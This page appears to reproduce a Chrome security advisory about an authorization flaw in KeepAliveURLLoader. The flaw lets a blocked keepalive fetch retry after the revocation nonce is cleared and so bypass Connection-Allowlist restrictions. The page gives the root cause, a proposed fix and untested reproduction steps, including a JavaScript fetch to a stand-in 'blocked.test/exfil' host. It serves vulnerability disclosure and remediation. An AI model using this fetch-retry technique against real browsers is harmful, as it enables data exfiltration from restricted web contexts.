Skip to content
Access control Advisory Advanced CVE-2026-79262

Incorrect authorization in Network (CVE-2026-79262)

A logic flaw in KeepAliveURLLoader allows a blocked keepalive fetch to schedule a retry after the renderer disconnects, dropping the original access-denied error. If the retry occurs after the document's network revocation nonce is cleared, the network service's fail-open design permits the previously blocked request, enabling data exfiltration from restricted contexts.

Google Chrome

Originally disclosed on Chrome VRP

  • Fix shipped in 5 months

Project Fortify, an experimental security project, has identified the following potential security issue.

Overview: A logic flaw in KeepAliveURLLoader allows a blocked keepalive fetch request to schedule a retry after the renderer disconnects by dropping the original access-denied error. If this retry occurs after the document's network revocation nonce is cleared (60 seconds after unload), the network service's fail-open design permits the previously blocked request. This enables potential data exfiltration from restricted contexts like Connection-Allowlists or Fenced Frames.

Affected files:

  • services/network/network_context.cc
  • content/browser/loader/keep_alive_url_loader.cc
  • services/network/cors/cors_url_loader_factory.cc
  • content/browser/storage_partition_impl.cc

Estimated timestamp from git blame: 2025-07-16

Summary

There is a potential security vulnerability in the interaction between the KeepAliveURLLoader retry mechanism and document-level network restrictions (like Connection-Allowlist or Fenced Frames). An attacker can bypass these network restrictions by intentionally triggering a blocked keepalive request, unloading the document, and forcing a delayed retry that executes after the document's security nonce has been cleared from the network service.

Note: The steps described below are theoretical and based on codebase analysis; a working proof-of-concept has not been executed. This attack relies on the kConnectionAllowlists and kFetchRetry features being enabled.

Vulnerability Mechanics

  1. Initial Block: A restricted document initiates a fetch with keepalive: true and retryOptions: { retryAfterUnload: true, maxAge: 86400000 } to a blocked URL. The network service blocks it, sending net::ERR_NETWORK_ACCESS_REVOKED to KeepAliveURLLoader::OnComplete.
  2. Error Delayed: KeepAliveURLLoader::RetryOrDelayErrorIfNeeded checks if the error is retryable. It is not (fatal access error). However, because the renderer is still connected and maxAge hasn't expired, the loader delays sending the error to avoid timing leaks, starting max_age_handler_timer_ and keeping the loader alive.
  3. Renderer Disconnect: The attacker navigates away, unloading the document. This disconnects the renderer from the KeepAliveURLLoader, starting a 30-second disconnected_loader_timer_. Simultaneously, StoragePartitionImpl schedules a 60-second delayed task to clear the document's network revocation nonce in the Network Service.
  4. State Machine Flaw: When the 30-second disconnect timer fires, KeepAliveURLLoader::OnDisconnectedLoaderTimerFired sees retry_after_unload is true and calls MaybeScheduleRetry(/*completion_status=*/std::nullopt). Because no status is provided, it bypasses IsNetErrorEligibleForRetry, "forgetting" the fatal ERR_NETWORK_ACCESS_REVOKED error and forcefully scheduling a retry.
  5. Wait for NIK: The retry logic pauses because there is no active document with the original NetworkIsolationKey (NIK).
  6. Nonce Clearance: At 60 seconds, the Network Service clears the document's nonce from NetworkContext::network_revocation_nonces_.
  7. Bypass: The attacker navigates back to the site, satisfying the NIK requirement. The retry resumes. NetworkContext::IsNetworkForNonceAndUrlAllowed evaluates the request, but because the nonce is no longer in network_revocation_nonces_, it falls back to its fail-open design and returns true. The request to the blocked URL succeeds.

Potential Reproduction Steps

  1. Ensure network::features::kConnectionAllowlists and blink::features::kFetchRetry are enabled.
  2. Serve a document at https://victim.test restricted by a Connection-Allowlist to only allow https://allowed.test/*.
  3. In the restricted document, execute the following JavaScript:
JavaScript
fetch('https://blocked.test/exfil?data=secret', {
  keepalive: true,
  retryOptions: {
    maxAttempts: 10,
    retryAfterUnload: true,
    maxAge: 86400000
  }
});
  1. Navigate the tab to about:blank.
  2. Wait for at least 65 seconds (to allow the 60-second nonce clearance timer to fire).
  3. Navigate the tab back to https://victim.test.
  4. Observe that the retry request is dispatched to https://blocked.test and succeeds, bypassing the allowlist.

Proposed Fix

  1. Fix KeepAliveURLLoader State Machine: In KeepAliveURLLoader::OnDisconnectedLoaderTimerFired, if the request previously completed with a fatal error (currently stored/pending via max_age_handler_timer_), do not call MaybeScheduleRetry(std::nullopt). It should use the actual stored completion status if one exists, which would correctly fail the IsNetErrorEligibleForRetry check.
  2. Harden NetworkContext: Consider changing the fail-open design of IsNetworkForNonceAndUrlAllowed. If a request arrives with an isolation_info.nonce(), and that nonce is completely unknown to the NetworkContext (because it was cleared), it might be safer to fail-closed or validate the lifecycle of the nonce against the request's origin.

Evaluated with Chrome root at commit: a9cbf6e8b275fe4147435aa905f3b7f5a656f5f0


Results from so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

The original report as published on the Chromium issue tracker. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the KeepAliveURLLoader state machine calls MaybeScheduleRetry with no completion status when the disconnect timer fires, bypassing the check that would have rejected the fatal access-denied error, and the network service fails open when the nonce is unknown.

Impact

This could enable data exfiltration from restricted contexts like Connection-Allowlists or Fenced Frames, but the attack is theoretical and relies on specific features being enabled.

What the attacker needed

KConnectionAllowlists and kFetchRetry enabled; victim visits a restricted document; attacker can run JavaScript in that document

The fix

The KeepAliveURLLoader state machine should use the stored completion status instead of nullopt, and NetworkContext should consider failing closed for unknown nonces.

How it was found

  1. Enable the ConnectionAllowlists and FetchRetry features.
  2. Serve a document restricted by a Connection-Allowlist to only allow a specific origin.
  3. In the restricted document, execute a keepalive fetch with retry options to a blocked URL.
  4. Navigate the tab to about:blank.
  5. Wait at least 65 seconds for the nonce clearance timer.
  6. Navigate back to the original site and observe the retry request to the blocked URL succeeds.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web page can be restricted so it only talks to certain sites. The bug lets a page trick the browser into retrying a blocked request later, after the browser has forgotten the restriction, so the request goes through. This could let a malicious page send data to a site it should not be able to reach.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.